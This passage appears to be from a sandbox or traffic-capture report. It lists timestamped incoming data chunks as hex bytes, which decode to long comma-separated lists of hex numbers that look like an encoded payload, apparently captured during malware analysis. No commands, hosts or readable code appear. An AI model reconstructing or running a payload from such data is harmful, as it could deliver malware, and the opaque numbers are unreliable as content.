2023-04-20 23:05:07 UTC	12973	IN	Data Raw: 31 31 61 2c 63 35 2c 36 39 2c 31 34 38 2c 64 62 2c 31 30 35 2c 31 32 65 2c 65 35 2c 31 34 32 2c 31 31 61 2c 38 65 2c 35 61 2c 37 63 2c 31 32 62 2c 31 34 36 2c 65 30 2c 31 35 33 2c 31 32 31 2c 35 31 2c 31 33 38 2c 31 33 39 2c 31 30 39 2c 31 33 61 2c 64 61 2c 31 32 39 2c 64 64 2c 31 30 61 2c 38 35 2c 31 31 63 2c 62 39 2c 36 64 2c 39 63 2c 31 35 33 2c 31 30 39 2c 31 35 32 2c 31 34 38 2c 62 33 2c 31 35 33 2c 62 62 2c 66 63 2c 66 37 2c 31 30 33 2c 66 30 2c 31 30 34 2c 31 35 38 2c 64 62 2c 37 36 2c 65 62 2c 31 34 62 2c 64 34 2c 64 66 2c 66 63 2c 66 64 2c 39 30 2c 31 30 36 2c 65 38 2c 31 34 38 2c 31 30 30 2c 31 35 32 2c 63 30 2c 62 36 2c 61 32 2c 63 65 2c 36 36 2c 37 30 2c 31 31 62 2c 65 38 2c 65 62 2c 63 30 2c 31 34 30 2c 66 32 2c 63 37 2c 31 35 31 2c 61 64 2c Data Ascii: 11a,c5,69,148,db,105,12e,e5,142,11a,8e,5a,7c,12b,146,e0,153,121,51,138,139,109,13a,da,129,dd,10a,85,11c,b9,6d,9c,153,109,152,148,b3,153,bb,fc,f7,103,f0,104,158,db,76,eb,14b,d4,df,fc,fd,90,106,e8,148,100,152,c0,b6,a2,ce,66,70,11b,e8,eb,c0,140,f2,c7,151,ad,
2023-04-20 23:05:07 UTC	12989	IN	Data Raw: 61 2c 31 34 65 2c 63 66 2c 36 63 2c 62 64 2c 61 32 2c 31 30 64 2c 31 32 37 2c 62 62 2c 36 32 2c 62 64 2c 36 66 2c 61 38 2c 31 34 65 2c 38 61 2c 66 30 2c 31 32 31 2c 31 31 61 2c 31 34 37 2c 31 34 30 2c 37 61 2c 35 64 2c 31 32 39 2c 62 30 2c 31 33 36 2c 37 31 2c 64 35 2c 31 34 30 2c 62 65 2c 38 61 2c 63 33 2c 37 39 2c 63 65 2c 38 63 2c 64 33 2c 36 33 2c 31 30 30 2c 39 35 2c 31 32 37 2c 31 31 34 2c 37 62 2c 61 39 2c 31 30 38 2c 61 37 2c 37 63 2c 31 33 34 2c 39 38 2c 38 63 2c 64 63 2c 31 30 66 2c 61 34 2c 61 39 2c 39 35 2c 35 32 2c 61 62 2c 65 65 2c 31 35 34 2c 37 64 2c 61 35 2c 31 32 36 2c 62 39 2c 34 38 2c 39 38 2c 36 34 2c 31 30 65 2c 64 62 2c 63 38 2c 39 32 2c 65 33 2c 66 30 2c 38 61 2c 31 34 37 2c 64 62 2c 31 32 32 2c 37 35 2c 61 65 2c 39 36 2c 39 65 2c Data Ascii: a,14e,cf,6c,bd,a2,10d,127,bb,62,bd,6f,a8,14e,8a,f0,121,11a,147,140,7a,5d,129,b0,136,71,d5,140,be,8a,c3,79,ce,8c,d3,63,100,95,127,114,7b,a9,108,a7,7c,134,98,8c,dc,10f,a4,a9,95,52,ab,ee,154,7d,a5,126,b9,48,98,64,10e,db,c8,92,e3,f0,8a,147,db,122,75,ae,96,9e,
2023-04-20 23:05:08 UTC	13005	IN	Data Raw: 64 2c 38 33 2c 66 33 2c 65 61 2c 31 32 62 2c 66 31 2c 63 38 2c 35 61 2c 62 39 2c 39 62 2c 66 33 2c 34 37 2c 38 61 2c 31 30 62 2c 62 30 2c 37 66 2c 66 37 2c 31 32 34 2c 31 34 66 2c 62 39 2c 31 30 33 2c 31 32 34 2c 35 64 2c 38 33 2c 38 66 2c 31 34 36 2c 61 38 2c 31 30 30 2c 31 30 66 2c 62 34 2c 31 34 35 2c 38 31 2c 64 66 2c 31 32 30 2c 36 61 2c 61 66 2c 66 63 2c 39 36 2c 64 34 2c 31 30 63 2c 34 63 2c 63 38 2c 64 39 2c 36 61 2c 31 31 66 2c 31 34 66 2c 66 35 2c 65 63 2c 31 30 34 2c 31 34 62 2c 31 33 39 2c 31 30 36 2c 65 30 2c 31 34 39 2c 36 30 2c 35 64 2c 31 30 33 2c 31 33 36 2c 31 31 34 2c 36 38 2c 31 33 66 2c 38 38 2c 39 37 2c 33 62 2c 31 32 66 2c 31 36 36 2c 35 65 2c 63 64 2c 35 39 2c 61 39 2c 36 31 2c 31 30 65 2c 31 30 39 2c 31 30 64 2c 62 37 2c 31 30 33 Data Ascii: d,83,f3,ea,12b,f1,c8,5a,b9,9b,f3,47,8a,10b,b0,7f,f7,124,14f,b9,103,124,5d,83,8f,146,a8,100,10f,b4,145,81,df,120,6a,af,fc,96,d4,10c,4c,c8,d9,6a,11f,14f,f5,ec,104,14b,139,106,e0,149,60,5d,103,136,114,68,13f,88,97,3b,12f,166,5e,cd,59,a9,61,10e,109,10d,b7,103
2023-04-20 23:05:08 UTC	13021	IN	Data Raw: 31 31 65 2c 36 65 2c 31 34 63 2c 31 30 33 2c 39 32 2c 31 34 36 2c 35 37 2c 35 39 2c 31 30 37 2c 38 39 2c 61 62 2c 61 65 2c 64 64 2c 64 61 2c 31 36 33 2c 31 31 65 2c 31 30 34 2c 62 64 2c 66 38 2c 31 30 39 2c 31 33 63 2c 31 30 39 2c 65 35 2c 31 32 35 2c 31 33 32 2c 38 35 2c 31 35 31 2c 36 66 2c 38 66 2c 31 34 38 2c 63 36 2c 39 38 2c 63 64 2c 66 61 2c 38 66 2c 66 33 2c 63 63 2c 39 65 2c 65 31 2c 62 33 2c 34 61 2c 35 63 2c 61 37 2c 37 39 2c 65 32 2c 31 34 31 2c 31 34 30 2c 31 30 33 2c 31 32 34 2c 31 31 65 2c 31 32 35 2c 65 33 2c 35 30 2c 35 34 2c 65 33 2c 31 33 32 2c 31 33 39 2c 34 39 2c 63 39 2c 31 31 38 2c 64 31 2c 38 62 2c 31 34 30 2c 31 34 62 2c 66 64 2c 39 32 2c 64 38 2c 31 33 36 2c 39 66 2c 31 31 66 2c 36 64 2c 37 39 2c 63 31 2c 38 66 2c 38 36 2c 65 64 Data Ascii: 11e,6e,14c,103,92,146,57,59,107,89,ab,ae,dd,da,163,11e,104,bd,f8,109,13c,109,e5,125,132,85,151,6f,8f,148,c6,98,cd,fa,8f,f3,cc,9e,e1,b3,4a,5c,a7,79,e2,141,140,103,124,11e,125,e3,50,54,e3,132,139,49,c9,118,d1,8b,140,14b,fd,92,d8,136,9f,11f,6d,79,c1,8f,86,ed
2023-04-20 23:05:08 UTC	13037	IN	Data Raw: 31 32 30 2c 64 65 2c 31 31 33 2c 31 32 39 2c 66 61 2c 66 35 2c 31 32 33 2c 31 32 38 2c 37 66 2c 65 33 2c 61 35 2c 61 32 2c 62 34 2c 37 63 2c 65 62 2c 66 34 2c 31 31 38 2c 31 35 61 2c 31 34 32 2c 36 64 2c 62 36 2c 31 32 38 2c 65 64 2c 61 32 2c 31 32 35 2c 31 32 33 2c 61 33 2c 39 66 2c 31 30 63 2c 65 61 2c 38 31 2c 66 38 2c 31 30 36 2c 61 33 2c 38 64 2c 65 35 2c 31 30 33 2c 39 63 2c 39 61 2c 64 30 2c 38 65 2c 37 64 2c 31 34 65 2c 63 64 2c 65 30 2c 33 64 2c 31 31 30 2c 31 31 65 2c 64 32 2c 31 35 31 2c 61 37 2c 64 37 2c 62 33 2c 66 65 2c 31 34 66 2c 66 37 2c 31 31 32 2c 31 34 64 2c 39 32 2c 38 66 2c 61 31 2c 62 65 2c 31 36 35 2c 36 63 2c 38 38 2c 63 32 2c 65 39 2c 37 31 2c 64 38 2c 38 61 2c 31 34 34 2c 31 35 35 2c 39 38 2c 38 35 2c 63 61 2c 66 61 2c 31 33 62 Data Ascii: 120,de,113,129,fa,f5,123,128,7f,e3,a5,a2,b4,7c,eb,f4,118,15a,142,6d,b6,128,ed,a2,125,123,a3,9f,10c,ea,81,f8,106,a3,8d,e5,103,9c,9a,d0,8e,7d,14e,cd,e0,3d,110,11e,d2,151,a7,d7,b3,fe,14f,f7,112,14d,92,8f,a1,be,165,6c,88,c2,e9,71,d8,8a,144,155,98,85,ca,fa,13b
2023-04-20 23:05:08 UTC	13053	IN	Data Raw: 2c 62 64 2c 31 35 32 2c 66 63 2c 63 32 2c 64 33 2c 31 33 30 2c 64 36 2c 31 32 38 2c 63 39 2c 36 37 2c 66 30 2c 61 38 2c 31 31 66 2c 31 30 64 2c 66 64 2c 31 33 35 2c 36 31 2c 31 34 61 2c 64 66 2c 31 37 31 2c 31 34 65 2c 31 34 33 2c 66 64 2c 31 35 33 2c 35 39 2c 39 39 2c 35 63 2c 65 32 2c 31 32 37 2c 61 36 2c 31 32 35 2c 61 31 2c 31 32 62 2c 31 31 38 2c 61 35 2c 31 32 62 2c 31 31 62 2c 65 61 2c 61 66 2c 63 30 2c 66 33 2c 63 61 2c 31 37 30 2c 31 30 36 2c 31 30 35 2c 35 30 2c 64 36 2c 65 62 2c 35 63 2c 31 33 66 2c 35 30 2c 31 36 66 2c 31 32 66 2c 35 66 2c 64 30 2c 31 33 33 2c 31 32 64 2c 61 65 2c 65 64 2c 31 34 30 2c 31 31 38 2c 62 63 2c 34 66 2c 65 63 2c 31 35 36 2c 31 31 64 2c 31 30 33 2c 31 34 34 2c 36 65 2c 35 32 2c 64 63 2c 66 31 2c 64 65 2c 38 62 2c 31 Data Ascii: ,bd,152,fc,c2,d3,130,d6,128,c9,67,f0,a8,11f,10d,fd,135,61,14a,df,171,14e,143,fd,153,59,99,5c,e2,127,a6,125,a1,12b,118,a5,12b,11b,ea,af,c0,f3,ca,170,106,105,50,d6,eb,5c,13f,50,16f,12f,5f,d0,133,12d,ae,ed,140,118,bc,4f,ec,156,11d,103,144,6e,52,dc,f1,de,8b,1
2023-04-20 23:05:08 UTC	13069	IN	Data Raw: 2c 39 39 2c 31 35 32 2c 31 31 66 2c 64 30 2c 61 35 2c 34 31 2c 31 34 31 2c 65 66 2c 61 62 2c 31 30 37 2c 31 30 30 2c 31 34 61 2c 31 31 36 2c 31 33 64 2c 31 36 30 2c 31 31 38 2c 62 39 2c 31 33 62 2c 37 37 2c 31 31 65 2c 31 33 37 2c 64 35 2c 65 65 2c 37 66 2c 31 33 61 2c 31 32 66 2c 31 34 31 2c 31 33 63 2c 31 35 36 2c 34 62 2c 31 34 32 2c 62 30 2c 31 31 64 2c 31 34 31 2c 31 32 30 2c 31 34 63 2c 35 65 2c 33 65 2c 31 30 61 2c 37 35 2c 63 39 2c 64 31 2c 31 32 32 2c 31 31 34 2c 31 30 35 2c 31 31 63 2c 31 33 38 2c 31 32 36 2c 31 31 61 2c 65 33 2c 37 34 2c 31 31 66 2c 62 62 2c 31 31 35 2c 31 34 63 2c 63 39 2c 31 34 33 2c 31 33 35 2c 65 64 2c 31 32 38 2c 66 66 2c 65 35 2c 61 30 2c 31 32 62 2c 38 38 2c 64 64 2c 31 33 33 2c 37 31 2c 31 34 34 2c 36 32 2c 31 32 66 2c Data Ascii: ,99,152,11f,d0,a5,41,141,ef,ab,107,100,14a,116,13d,160,118,b9,13b,77,11e,137,d5,ee,7f,13a,12f,141,13c,156,4b,142,b0,11d,141,120,14c,5e,3e,10a,75,c9,d1,122,114,105,11c,138,126,11a,e3,74,11f,bb,115,14c,c9,143,135,ed,128,ff,e5,a0,12b,88,dd,133,71,144,62,12f,
2023-04-20 23:05:08 UTC	13085	IN	Data Raw: 31 63 2c 64 32 2c 31 34 39 2c 31 33 33 2c 31 35 31 2c 31 32 64 2c 36 64 2c 65 32 2c 34 38 2c 39 64 2c 31 32 65 2c 64 62 2c 31 33 38 2c 64 66 2c 36 62 2c 31 35 33 2c 65 31 2c 38 37 2c 31 33 39 2c 33 33 2c 31 34 37 2c 61 39 2c 66 62 2c 38 39 2c 63 30 2c 31 30 30 2c 31 34 36 2c 31 32 63 2c 65 61 2c 61 65 2c 38 63 2c 63 32 2c 31 33 31 2c 39 39 2c 31 32 31 2c 31 31 34 2c 31 30 64 2c 37 66 2c 66 64 2c 31 30 65 2c 31 33 39 2c 66 36 2c 39 65 2c 62 34 2c 31 34 38 2c 62 35 2c 66 36 2c 66 38 2c 31 30 61 2c 66 64 2c 31 30 66 2c 64 63 2c 31 32 35 2c 65 35 2c 31 31 33 2c 62 66 2c 36 63 2c 39 30 2c 39 64 2c 39 36 2c 38 66 2c 63 62 2c 31 33 31 2c 66 66 2c 31 33 66 2c 31 32 32 2c 62 38 2c 38 34 2c 31 31 31 2c 62 34 2c 31 34 62 2c 31 30 38 2c 35 63 2c 34 62 2c 31 34 36 2c Data Ascii: 1c,d2,149,133,151,12d,6d,e2,48,9d,12e,db,138,df,6b,153,e1,87,139,33,147,a9,fb,89,c0,100,146,12c,ea,ae,8c,c2,131,99,121,114,10d,7f,fd,10e,139,f6,9e,b4,148,b5,f6,f8,10a,fd,10f,dc,125,e5,113,bf,6c,90,9d,96,8f,cb,131,ff,13f,122,b8,84,111,b4,14b,108,5c,4b,146,
2023-04-20 23:05:08 UTC	13101	IN	Data Raw: 31 2c 66 64 2c 64 66 2c 36 34 2c 66 65 2c 66 37 2c 36 34 2c 37 33 2c 31 33 36 2c 61 62 2c 62 31 2c 38 35 2c 61 38 2c 38 36 2c 31 31 33 2c 31 31 39 2c 31 30 32 2c 31 31 33 2c 36 62 2c 64 65 2c 39 34 2c 34 66 2c 61 33 2c 31 33 34 2c 65 64 2c 31 30 30 2c 38 35 2c 31 32 36 2c 31 33 39 2c 61 30 2c 33 65 2c 63 39 2c 62 34 2c 65 32 2c 31 30 65 2c 63 63 2c 31 32 61 2c 61 31 2c 31 30 66 2c 66 37 2c 63 65 2c 66 33 2c 66 65 2c 65 30 2c 31 33 33 2c 61 33 2c 31 32 64 2c 64 64 2c 31 31 35 2c 39 38 2c 64 39 2c 61 33 2c 31 30 33 2c 65 32 2c 33 62 2c 31 36 62 2c 66 32 2c 34 37 2c 65 63 2c 63 65 2c 31 30 35 2c 37 61 2c 66 39 2c 63 65 2c 31 31 64 2c 31 35 64 2c 63 64 2c 64 31 2c 66 61 2c 65 32 2c 34 62 2c 63 39 2c 39 31 2c 35 64 2c 63 30 2c 31 35 39 2c 31 32 30 2c 63 62 2c Data Ascii: 1,fd,df,64,fe,f7,64,73,136,ab,b1,85,a8,86,113,119,102,113,6b,de,94,4f,a3,134,ed,100,85,126,139,a0,3e,c9,b4,e2,10e,cc,12a,a1,10f,f7,ce,f3,fe,e0,133,a3,12d,dd,115,98,d9,a3,103,e2,3b,16b,f2,47,ec,ce,105,7a,f9,ce,11d,15d,cd,d1,fa,e2,4b,c9,91,5d,c0,159,120,cb,
2023-04-20 23:05:08 UTC	13117	IN	Data Raw: 35 33 2c 38 34 2c 63 30 2c 39 31 2c 66 38 2c 31 30 66 2c 35 63 2c 64 65 2c 35 64 2c 34 39 2c 31 31 34 2c 31 33 66 2c 65 30 2c 31 36 32 2c 37 36 2c 62 61 2c 34 66 2c 31 35 37 2c 61 37 2c 37 30 2c 66 37 2c 62 31 2c 62 31 2c 31 31 66 2c 62 35 2c 38 64 2c 63 61 2c 35 39 2c 64 36 2c 38 61 2c 61 37 2c 39 30 2c 65 38 2c 35 36 2c 39 33 2c 31 31 35 2c 38 65 2c 39 33 2c 62 65 2c 31 33 34 2c 35 32 2c 31 30 35 2c 31 34 63 2c 38 32 2c 61 35 2c 38 31 2c 31 31 38 2c 38 64 2c 31 32 38 2c 31 35 66 2c 64 61 2c 62 35 2c 64 62 2c 37 36 2c 31 30 31 2c 31 33 33 2c 37 32 2c 35 34 2c 31 33 33 2c 65 65 2c 31 33 35 2c 31 30 65 2c 64 37 2c 31 35 39 2c 61 30 2c 31 33 32 2c 64 63 2c 36 62 2c 39 35 2c 31 36 61 2c 31 34 65 2c 64 65 2c 61 62 2c 39 30 2c 39 31 2c 35 61 2c 31 31 65 2c 62 Data Ascii: 53,84,c0,91,f8,10f,5c,de,5d,49,114,13f,e0,162,76,ba,4f,157,a7,70,f7,b1,b1,11f,b5,8d,ca,59,d6,8a,a7,90,e8,56,93,115,8e,93,be,134,52,105,14c,82,a5,81,118,8d,128,15f,da,b5,db,76,101,133,72,54,133,ee,135,10e,d7,159,a0,132,dc,6b,95,16a,14e,de,ab,90,91,5a,11e,b
2023-04-20 23:05:08 UTC	13133	IN	Data Raw: 2c 31 34 31 2c 31 33 31 2c 34 62 2c 63 36 2c 65 61 2c 31 31 38 2c 37 32 2c 66 34 2c 31 34 38 2c 37 39 2c 66 63 2c 31 32 66 2c 64 63 2c 39 34 2c 35 66 2c 39 37 2c 31 30 39 2c 37 63 2c 61 65 2c 31 32 63 2c 31 35 61 2c 61 31 2c 38 38 2c 31 32 30 2c 31 33 39 2c 31 34 32 2c 31 31 32 2c 31 32 37 2c 35 33 2c 37 31 2c 31 30 65 2c 31 36 37 2c 31 30 61 2c 65 32 2c 35 31 2c 31 30 39 2c 31 32 61 2c 64 63 2c 35 39 2c 31 32 32 2c 36 35 2c 31 30 31 2c 39 30 2c 64 38 2c 65 36 2c 34 32 2c 35 37 2c 31 34 62 2c 31 32 63 2c 66 31 2c 31 33 64 2c 36 31 2c 66 66 2c 34 65 2c 31 30 63 2c 31 33 33 2c 37 30 2c 37 61 2c 65 31 2c 65 65 2c 36 37 2c 62 36 2c 39 37 2c 61 31 2c 31 33 63 2c 31 33 39 2c 31 33 63 2c 34 37 2c 31 32 36 2c 61 39 2c 37 36 2c 31 30 64 2c 64 37 2c 63 62 2c 39 30 Data Ascii: ,141,131,4b,c6,ea,118,72,f4,148,79,fc,12f,dc,94,5f,97,109,7c,ae,12c,15a,a1,88,120,139,142,112,127,53,71,10e,167,10a,e2,51,109,12a,dc,59,122,65,101,90,d8,e6,42,57,14b,12c,f1,13d,61,ff,4e,10c,133,70,7a,e1,ee,67,b6,97,a1,13c,139,13c,47,126,a9,76,10d,d7,cb,90
2023-04-20 23:05:08 UTC	13149	IN	Data Raw: 2c 37 64 2c 63 66 2c 63 38 2c 35 32 2c 35 38 2c 64 32 2c 66 63 2c 63 32 2c 66 37 2c 31 32 34 2c 37 64 2c 31 30 36 2c 31 35 66 2c 31 30 65 2c 39 63 2c 31 30 62 2c 31 31 33 2c 31 31 38 2c 31 30 65 2c 62 33 2c 63 37 2c 31 37 31 2c 31 33 36 2c 31 34 39 2c 65 31 2c 64 62 2c 65 34 2c 31 31 39 2c 31 34 38 2c 31 30 64 2c 31 35 63 2c 66 34 2c 61 39 2c 64 62 2c 31 33 65 2c 36 64 2c 62 65 2c 31 32 64 2c 38 61 2c 37 31 2c 31 32 32 2c 36 61 2c 31 30 66 2c 39 33 2c 64 30 2c 31 36 65 2c 62 30 2c 31 34 38 2c 31 32 33 2c 39 38 2c 31 35 30 2c 31 33 30 2c 39 31 2c 39 31 2c 38 66 2c 31 34 32 2c 31 32 38 2c 31 35 38 2c 31 35 35 2c 39 30 2c 31 30 32 2c 38 38 2c 31 35 34 2c 31 31 61 2c 66 66 2c 61 33 2c 63 33 2c 63 39 2c 37 36 2c 63 34 2c 31 35 38 2c 31 33 30 2c 37 66 2c 31 32 Data Ascii: ,7d,cf,c8,52,58,d2,fc,c2,f7,124,7d,106,15f,10e,9c,10b,113,118,10e,b3,c7,171,136,149,e1,db,e4,119,148,10d,15c,f4,a9,db,13e,6d,be,12d,8a,71,122,6a,10f,93,d0,16e,b0,148,123,98,150,130,91,91,8f,142,128,158,155,90,102,88,154,11a,ff,a3,c3,c9,76,c4,158,130,7f,12
2023-04-20 23:05:08 UTC	13165	IN	Data Raw: 61 2c 31 34 35 2c 31 31 62 2c 35 36 2c 33 38 2c 65 61 2c 35 34 2c 64 31 2c 31 34 65 2c 31 32 64 2c 31 31 31 2c 31 34 64 2c 31 33 30 2c 66 30 2c 61 66 2c 62 38 2c 63 64 2c 39 61 2c 39 64 2c 62 31 2c 34 37 2c 31 33 39 2c 61 64 2c 31 33 61 2c 63 33 2c 37 34 2c 61 34 2c 34 39 2c 31 34 31 2c 31 35 61 2c 38 38 2c 31 31 36 2c 31 34 32 2c 64 63 2c 63 65 2c 37 31 2c 35 33 2c 61 63 2c 62 37 2c 63 64 2c 64 62 2c 65 35 2c 61 62 2c 65 36 2c 31 30 61 2c 31 32 31 2c 63 39 2c 31 32 64 2c 66 33 2c 35 61 2c 62 34 2c 66 38 2c 65 38 2c 63 66 2c 31 31 65 2c 36 37 2c 31 32 38 2c 31 30 34 2c 64 35 2c 31 32 36 2c 31 32 35 2c 66 35 2c 66 33 2c 65 61 2c 62 64 2c 64 34 2c 31 31 64 2c 31 32 63 2c 35 34 2c 36 65 2c 61 33 2c 61 38 2c 31 31 35 2c 65 37 2c 63 62 2c 31 32 32 2c 35 33 2c Data Ascii: a,145,11b,56,38,ea,54,d1,14e,12d,111,14d,130,f0,af,b8,cd,9a,9d,b1,47,139,ad,13a,c3,74,a4,49,141,15a,88,116,142,dc,ce,71,53,ac,b7,cd,db,e5,ab,e6,10a,121,c9,12d,f3,5a,b4,f8,e8,cf,11e,67,128,104,d5,126,125,f5,f3,ea,bd,d4,11d,12c,54,6e,a3,a8,115,e7,cb,122,53,
2023-04-20 23:05:08 UTC	13181	IN	Data Raw: 34 2c 34 34 2c 63 35 2c 64 37 2c 64 32 2c 39 31 2c 64 35 2c 64 61 2c 66 31 2c 64 66 2c 38 61 2c 61 66 2c 62 36 2c 31 30 38 2c 63 63 2c 65 36 2c 39 63 2c 63 65 2c 61 37 2c 31 30 62 2c 63 62 2c 31 35 62 2c 31 36 30 2c 64 39 2c 31 34 34 2c 36 33 2c 31 35 38 2c 65 64 2c 64 39 2c 64 35 2c 35 63 2c 63 38 2c 31 31 38 2c 35 37 2c 63 64 2c 63 33 2c 31 33 31 2c 39 39 2c 64 35 2c 39 63 2c 31 36 31 2c 33 62 2c 61 30 2c 31 31 35 2c 65 39 2c 31 31 35 2c 37 65 2c 31 32 64 2c 61 63 2c 64 63 2c 31 30 33 2c 36 62 2c 36 61 2c 65 63 2c 31 30 38 2c 31 31 37 2c 62 66 2c 31 32 39 2c 31 31 36 2c 31 35 30 2c 31 34 30 2c 31 33 32 2c 36 62 2c 35 64 2c 62 36 2c 66 39 2c 31 32 65 2c 31 30 63 2c 36 62 2c 31 30 64 2c 31 31 38 2c 66 32 2c 38 38 2c 38 32 2c 31 32 61 2c 31 30 61 2c 39 38 Data Ascii: 4,44,c5,d7,d2,91,d5,da,f1,df,8a,af,b6,108,cc,e6,9c,ce,a7,10b,cb,15b,160,d9,144,63,158,ed,d9,d5,5c,c8,118,57,cd,c3,131,99,d5,9c,161,3b,a0,115,e9,115,7e,12d,ac,dc,103,6b,6a,ec,108,117,bf,129,116,150,140,132,6b,5d,b6,f9,12e,10c,6b,10d,118,f2,88,82,12a,10a,98
2023-04-20 23:05:08 UTC	13197	IN	Data Raw: 36 30 2c 64 65 2c 63 65 2c 37 62 2c 65 36 2c 64 64 2c 34 63 2c 39 61 2c 62 66 2c 65 63 2c 31 35 31 2c 31 36 65 2c 31 30 61 2c 31 30 66 2c 34 36 2c 31 32 61 2c 31 36 31 2c 63 39 2c 31 31 33 2c 64 66 2c 31 32 39 2c 36 64 2c 31 32 35 2c 31 31 32 2c 38 30 2c 65 63 2c 34 37 2c 31 33 35 2c 65 33 2c 31 34 31 2c 38 63 2c 34 66 2c 31 30 37 2c 62 30 2c 31 31 65 2c 66 34 2c 63 35 2c 37 31 2c 31 32 61 2c 31 30 61 2c 37 66 2c 37 30 2c 66 37 2c 61 33 2c 31 31 39 2c 63 65 2c 62 31 2c 64 66 2c 31 34 65 2c 66 66 2c 65 38 2c 39 66 2c 31 31 65 2c 65 36 2c 38 61 2c 34 31 2c 31 32 39 2c 61 33 2c 31 33 33 2c 36 37 2c 64 35 2c 31 33 33 2c 31 30 31 2c 35 36 2c 62 33 2c 62 39 2c 39 36 2c 66 31 2c 31 34 34 2c 31 33 61 2c 61 62 2c 62 63 2c 31 31 38 2c 63 63 2c 36 33 2c 31 36 66 2c Data Ascii: 60,de,ce,7b,e6,dd,4c,9a,bf,ec,151,16e,10a,10f,46,12a,161,c9,113,df,129,6d,125,112,80,ec,47,135,e3,141,8c,4f,107,b0,11e,f4,c5,71,12a,10a,7f,70,f7,a3,119,ce,b1,df,14e,ff,e8,9f,11e,e6,8a,41,129,a3,133,67,d5,133,101,56,b3,b9,96,f1,144,13a,ab,bc,118,cc,63,16f,
2023-04-20 23:05:08 UTC	13213	IN	Data Raw: 2c 38 61 2c 31 31 66 2c 31 32 38 2c 31 31 31 2c 64 63 2c 63 66 2c 64 36 2c 39 62 2c 35 66 2c 31 35 65 2c 64 39 2c 66 61 2c 31 32 38 2c 65 39 2c 63 32 2c 38 65 2c 31 34 30 2c 62 65 2c 37 34 2c 31 34 61 2c 63 31 2c 35 38 2c 31 36 39 2c 33 61 2c 39 64 2c 66 30 2c 31 35 34 2c 61 38 2c 31 35 35 2c 31 33 30 2c 62 65 2c 31 32 31 2c 31 37 33 2c 31 35 32 2c 31 34 63 2c 31 31 66 2c 34 65 2c 65 38 2c 37 33 2c 64 36 2c 31 33 36 2c 64 30 2c 64 33 2c 31 36 38 2c 62 66 2c 31 34 65 2c 64 63 2c 31 31 36 2c 65 34 2c 39 34 2c 65 36 2c 65 33 2c 36 63 2c 36 34 2c 65 63 2c 62 65 2c 62 64 2c 31 31 32 2c 63 63 2c 64 65 2c 62 32 2c 39 31 2c 31 30 31 2c 61 61 2c 63 31 2c 39 63 2c 31 30 37 2c 66 33 2c 31 33 35 2c 62 38 2c 31 34 39 2c 34 65 2c 61 63 2c 31 32 36 2c 64 31 2c 64 65 2c Data Ascii: ,8a,11f,128,111,dc,cf,d6,9b,5f,15e,d9,fa,128,e9,c2,8e,140,be,74,14a,c1,58,169,3a,9d,f0,154,a8,155,130,be,121,173,152,14c,11f,4e,e8,73,d6,136,d0,d3,168,bf,14e,dc,116,e4,94,e6,e3,6c,64,ec,be,bd,112,cc,de,b2,91,101,aa,c1,9c,107,f3,135,b8,149,4e,ac,126,d1,de,
2023-04-20 23:05:08 UTC	13229	IN	Data Raw: 63 2c 37 35 2c 31 30 34 2c 39 38 2c 63 30 2c 31 36 31 2c 37 38 2c 31 36 30 2c 61 31 2c 37 36 2c 31 32 31 2c 66 66 2c 31 33 66 2c 31 35 30 2c 38 33 2c 31 33 33 2c 31 30 37 2c 31 33 36 2c 31 32 62 2c 31 30 36 2c 37 39 2c 38 32 2c 31 35 33 2c 64 64 2c 31 30 64 2c 64 64 2c 31 30 33 2c 35 35 2c 64 30 2c 31 32 62 2c 38 30 2c 31 30 64 2c 64 65 2c 31 31 31 2c 66 64 2c 64 66 2c 38 32 2c 31 34 33 2c 63 61 2c 66 38 2c 63 35 2c 39 30 2c 62 31 2c 65 62 2c 31 30 37 2c 31 35 32 2c 31 30 36 2c 31 34 36 2c 38 61 2c 31 32 63 2c 31 31 63 2c 64 66 2c 63 35 2c 63 35 2c 63 63 2c 31 32 38 2c 31 34 34 2c 62 65 2c 38 65 2c 36 35 2c 31 30 62 2c 61 36 2c 63 39 2c 39 66 2c 65 35 2c 62 37 2c 31 33 33 2c 39 65 2c 31 30 34 2c 62 37 2c 63 65 2c 38 38 2c 34 37 2c 66 31 2c 36 30 2c 38 34 Data Ascii: c,75,104,98,c0,161,78,160,a1,76,121,ff,13f,150,83,133,107,136,12b,106,79,82,153,dd,10d,dd,103,55,d0,12b,80,10d,de,111,fd,df,82,143,ca,f8,c5,90,b1,eb,107,152,106,146,8a,12c,11c,df,c5,c5,cc,128,144,be,8e,65,10b,a6,c9,9f,e5,b7,133,9e,104,b7,ce,88,47,f1,60,84
2023-04-20 23:05:08 UTC	13245	IN	Data Raw: 2c 62 34 2c 63 31 2c 64 34 2c 31 31 38 2c 38 65 2c 31 30 38 2c 31 33 37 2c 65 36 2c 35 34 2c 64 65 2c 31 33 66 2c 31 30 35 2c 31 36 30 2c 31 32 64 2c 31 30 30 2c 63 38 2c 63 63 2c 64 31 2c 31 32 32 2c 31 31 31 2c 31 37 31 2c 31 32 37 2c 34 39 2c 37 34 2c 37 36 2c 31 31 62 2c 35 30 2c 65 64 2c 31 31 37 2c 31 30 38 2c 31 36 39 2c 31 30 64 2c 38 61 2c 37 30 2c 31 33 31 2c 62 61 2c 31 33 62 2c 31 31 32 2c 35 34 2c 31 30 61 2c 39 39 2c 36 37 2c 31 31 61 2c 31 32 33 2c 36 36 2c 66 38 2c 62 33 2c 37 65 2c 61 38 2c 31 30 35 2c 37 33 2c 61 64 2c 39 38 2c 31 30 31 2c 31 31 31 2c 64 61 2c 31 30 61 2c 37 61 2c 34 66 2c 37 35 2c 36 33 2c 39 64 2c 31 34 39 2c 37 32 2c 31 33 38 2c 39 31 2c 31 34 61 2c 31 33 34 2c 66 30 2c 38 65 2c 36 31 2c 31 30 64 2c 31 33 64 2c 31 32 Data Ascii: ,b4,c1,d4,118,8e,108,137,e6,54,de,13f,105,160,12d,100,c8,cc,d1,122,111,171,127,49,74,76,11b,50,ed,117,108,169,10d,8a,70,131,ba,13b,112,54,10a,99,67,11a,123,66,f8,b3,7e,a8,105,73,ad,98,101,111,da,10a,7a,4f,75,63,9d,149,72,138,91,14a,134,f0,8e,61,10d,13d,12
